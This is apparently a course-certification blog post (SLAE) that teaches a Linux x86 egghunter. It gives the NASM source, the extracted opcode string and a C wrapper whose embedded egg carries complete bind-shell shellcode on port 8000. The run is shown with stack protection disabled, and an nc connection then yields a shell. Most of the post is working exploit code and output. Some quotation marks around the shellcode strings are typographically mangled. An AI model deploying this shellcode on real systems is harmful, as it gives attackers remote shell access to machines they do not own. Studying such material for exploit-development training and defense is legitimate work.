SLAE 0x3 – Egghunter Shellcode

Egghunter is shellcode that searches for an 8-byte egg that we delibrately place in memory. Once found, this egg points to a much larger space in memory where are shellcode can run.

Egghunter can can be very useful in a buffer overflow situation where we control the flow of the program and cannot execute our shellcode because of the space constraint. In that limited space, we then fit our egghunter shellcode that searches for the 8-byte egg and then jumps to that location to execute the shellcode

In a nutshell, our egghunter code iterates through each page and byte in memory and then compares the 4 bytes of our egg string “woot” until there is a match. If there is a match, it looks at the next 4 bytes to find another match of our egg string “woot” . If found then jump to that location and execute our shellcode

To begin writing our egg hunter, we use the sigaction function which does exactly what we need i.e. search a value in memory. From the man page we get details on calling the sigaction function

int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact);

So we know eax will store the sigaction syscall. The syscall for sigaction is 67 i.e 0x43 in hex. ecx will hold the pointer to the memory address that we want to check to see if is valid. In this instance, it doesn’t matter whats in ebx and edx so lets ignore it.

In Linux, each page in memory is 4096 bytes which translates to 0x1000 in hex. To avoid the null byte, we split it into two instructions or cx, 0xfff  (i.e 4095 bytes) and inc ecx. Another problem is while searching through memory we encounter tons of invalid pages. To overcome this, we will compare 0xf2 with al which checks if an efault occured. If al is 0 that means an efault occured and we jump to the next_page until we find a valid page.

Once we  have a valid page in memory, we move our egg 0x776f674 (woot) into eax and ecx (the bytes from memory) into edi . The scasd instruction is then used to compare 4 bytes of eax (woot) with edi. If they dont match jump to next_address which increments  a byte. If there is a match another scasd instruction is used to compare the next 4 bytes of eax(woot) with edi. If  our 8 byte egg is found then we can jump to edi which will hold our shellcode.

; Egghunter

; Author: buffered4ever
; 15-03-2019

global _start
section .text
_start:

next_page:

or cx, 0xfff ; page size

next_address:

inc ecx ; next byte
xor eax, eax
mov al, 0x43 ;#define __NR_sigaction 67
int 0x80 ; syscall
cmp al, 0xf2 ; if efault al will be 0
jz next_page ; if zero jump to next page in memory

xor eax, eax
mov eax, 0x776f6f74 ; our egg woot – 0x776f6f74
mov edi, ecx ;
scasd ; checks if 4 bytes of edi match with eax(woot)
jnz next_address ; if no match jump to next address
scasd ; if matched check if next 4 bytes of edi also match with eax(woot)
jnz next_address ; if not jump to next address
jmp edi ; since both eggs matched jump to shellcode

Lets first compile and link the egghunter assembly program and then generate the shellcode.

ddpinto@ddpinto-VirtualBox:~$ ./compile.sh egghunter
[+] Assembling with NASM …
[+] Linking …
[+] Done! …
ddpinto@ddpinto-VirtualBox:~$ objdump -d ./egghunter|grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’
“\x66\x81\xc9\xff\x0f\x41\x31\xc0\xb0\x43\xcd\x80\x3c\xf2\x74\xf0\x31\xc0\xb8\x74\x6f\x6f\x77\x89\xcf\xaf\x75\xe9\xaf\x75\xe6\xff\xe7”

Lets copy the above shellcode in our cwrapper. Notice we insert the egg “wootwoot” in the variable egg[] inverted as “\x74\x6f\x6f\x77\x74\x6f\x6f\x77” due to little endian format. This will help us jump into our shell_bind_tcp shellcode.

// Egghunter Shellcode
// Author: buffered4ever
// 15-03-2019

#include <stdio.h>
#include <string.h>

unsigned char egg_hunter[] = \
“\x66\x81\xc9\xff\x0f\x41\x31\xc0\xb0\x43\xcd\x80\x3c\xf2\x74\xf0\x31\xc0\xb8\x74\x6f\x6f\x77\x89\xcf\xaf\x75\xe9\xaf\x75\xe6\xff\xe7”;

unsigned char egg[] = \
\x74\x6f\x6f\x77\x74\x6f\x6f\x77\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\x31\xc0\xb0\x66\x31\xdb\xb3\x01\xcd\x80\x89\xc7\x52\x66\x68\x1f\x40\x66\x6a\x02\x89\xe3\x6a\x10\x53\x57\x31\xdb\xb3\x02\x31\xc0\xb0\x66\x89\xe1\xcd\x80\x52\x57\x89\xe1\x31\xdb\xb3\x04\x31\xc0\xb0\x66\xcd\x80\x52\x52\x57\x89\xe1\x31\xdb\xb3\x05\x31\xc0\xb0\x66\xcd\x80\x89\xc3\x31\xc0\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc2\x89\xc1\xb0\x0b\xcd\x80″;

main()
{
printf(“Egghunter Shellcode Length: %d\n”, strlen(egg_hunter));
printf(“Egg Shellcode Length: %d\n”, strlen(egg));
int (*ret)() = (int(*)())egg_hunter;
ret();
}

Lets compile the c code and run our final egghunter shellcode

ddpinto@ddpinto-VirtualBox:~$ gcc -fno-stack-protector -z execstack shellcode_egghunter.c -o shellcode_egghunter

ddpinto@ddpinto-VirtualBox:~$ ./shellcode_egghunter
Egghunter Shellcode Length: 33
Egg Shellcode Length: 122

ddpinto@ddpinto-VirtualBox:~$ nc -v 127.0.0.1 8000
Connection to 127.0.0.1 8000 port [tcp/*] succeeded!
whoami
ddpinto

And Voila! we have a bind shell.

Github: https://github.com/buffered4ever/SLAE – 0x3

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-1932

Leave a comment

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: